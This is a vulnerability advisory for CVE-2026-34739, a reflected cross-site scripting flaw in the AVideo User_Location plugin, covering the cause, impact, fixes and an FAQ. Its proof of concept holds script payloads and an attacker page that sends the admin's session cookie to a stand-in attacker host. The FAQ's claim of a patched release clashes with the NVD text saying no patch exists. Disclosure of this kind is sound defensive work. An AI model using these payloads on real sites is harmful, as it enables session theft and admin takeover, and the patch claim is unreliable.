CVE-2026-34739: AVideo: Reflected XSS via Unescaped ip Parameter in User_Location testIP.php
Summary
The UserLocation plugin's testIP.php page reflects the ip request parameter directly into an HTML input element without applying htmlspecialchars() or any other output encoding. This allows an attacker to inject arbitrary HTML and JavaScript via a crafted URL. Although the page is restricted to admin users, AVideo's SameSite=None cookie configuration allows cross-origin exploitation, meaning an attacker can lure an admin to a malicious link that executes JavaScript in their authenticated session.
Details
At plugin/UserLocation/testIP.php:16, the ip parameter is read from the request without sanitization:
php $ip = $REQUEST['ip'];
At line 34, the value is echoed directly into an HTML input element's value attribute:
php <input type="text" name="ip" id="ip" class="form-control" value="<?php echo $ip; ?>">
No htmlspecialchars() is applied, allowing an attacker to break out of the value attribute and inject arbitrary HTML/JavaScript.
While the page requires admin authentication to access, AVideo sets session cookies with SameSite=None. When an admin clicks a link from an external site (email, chat, another website), their session cookie is sent with the request, and the XSS payload executes in the context of their authenticated admin session.
Proof of Concept
1. Craft a URL with a payload that breaks out of the input value attribute:
https://your-avideo-instance.com/plugin/UserLocation/testIP.php?ip="><script>alert(document.cookie)</script>
2. URL-encoded version for embedding in links:
https://your-avideo-instance.com/plugin/UserLocation/testIP.php?ip=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
3. The resulting HTML rendered in the browser:
html <input type="text" name="ip" id="ip" class="form-control" value=""><script>alert(document.cookie)</script>">
4. To exploit via cross-origin link (leveraging SameSite=None), host the following on an attacker-controlled page:
html <!-- attacker-page.html --> <html> <body> <p>Click here to check your IP geolocation:</p> <a href="https://your-avideo-instance.com/plugin/UserLocation/testIP.php?ip=%22%3E%3Cscript%3Edocument.location=%27https://attacker.example.com/steal?c=%27%2Bdocument.cookie%3C/script%3E"> Check IP Location </a> </body> </html>
5. When an admin clicks the link, their session cookie is sent (due to SameSite=None), and the JavaScript executes in their authenticated session.
Impact
An attacker can execute arbitrary JavaScript in the context of an admin user's session by sending them a crafted link. Because AVideo uses SameSite=None for session cookies, the attack works from any external website. Successful exploitation allows the attacker to steal the admin session cookie, create new admin accounts, modify site configuration, upload malicious plugins, or perform any other admin action.
- CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting) - Severity: Medium
Recommended Fix
Apply htmlspecialchars() when outputting the $ip variable at plugin/UserLocation/testIP.php:34:
php // plugin/UserLocation/testIP.php:34 <input type="text" name="ip" id="ip" class="form-control" value="<?php echo htmlspecialchars($ip, ENTQUOTES, 'UTF-8'); ?>">
--- Found by aisafe.io
Other sources
WWBN AVideo is an open source video platform. In versions 26.0 and prior, the UserLocation plugin's testIP.php page reflects the ip request parameter directly into an HTML input element without applying htmlspecialchars() or any other output encoding. This allows an attacker to inject arbitrary HTML and JavaScript via a crafted URL. Although the page is restricted to admin users, AVideo's SameSite=None cookie configuration allows cross-origin exploitation, meaning an attacker can lure an admin to a malicious link that executes JavaScript in their authenticated session. At time of publication, there are no publicly available patches.
— NVD
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Configuration
Edit plugin/User_Location/testIP.php so that the $ip value echoed into the HTML input element's value attribute is output-encoded using htmlspecialchars($ip, ENT_QUOTES, 'UTF-8') (instead of echoing $ip directly), preventing reflected XSS via the ip parameter.
AVideo User_Location plugin (plugin/User_Location/testIP.php) Output encoding for $_REQUEST['ip'] when rendering into HTML input value = Use htmlspecialchars($ip, ENT_QUOTES, 'UTF-8') at testIP.php:34 - Compensating control
Because the page relies on admin authentication but AVideo uses SameSite=None cookies (enabling cross-origin exploitation), consider adjusting session cookie behavior/constraints to reduce cross-site use (e.g., avoid SameSite=None where possible) to limit exploitation from external websites.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-34739?
CVE-2026-34739 is classified as a medium severity vulnerability due to its potential for reflected cross-site scripting (XSS).
How do I fix CVE-2026-34739?
To fix CVE-2026-34739, update AVideo to version 26.1 or later where the vulnerability has been patched.
What does CVE-2026-34739 affect?
CVE-2026-34739 affects the User_Location plugin of AVideo versions up to 26.0.
What type of vulnerability is CVE-2026-34739?
CVE-2026-34739 is a reflected cross-site scripting vulnerability due to unescaped user input.
Can CVE-2026-34739 be exploited remotely?
Yes, CVE-2026-34739 can be exploited remotely as it allows attackers to execute scripts in the context of the affected user's session.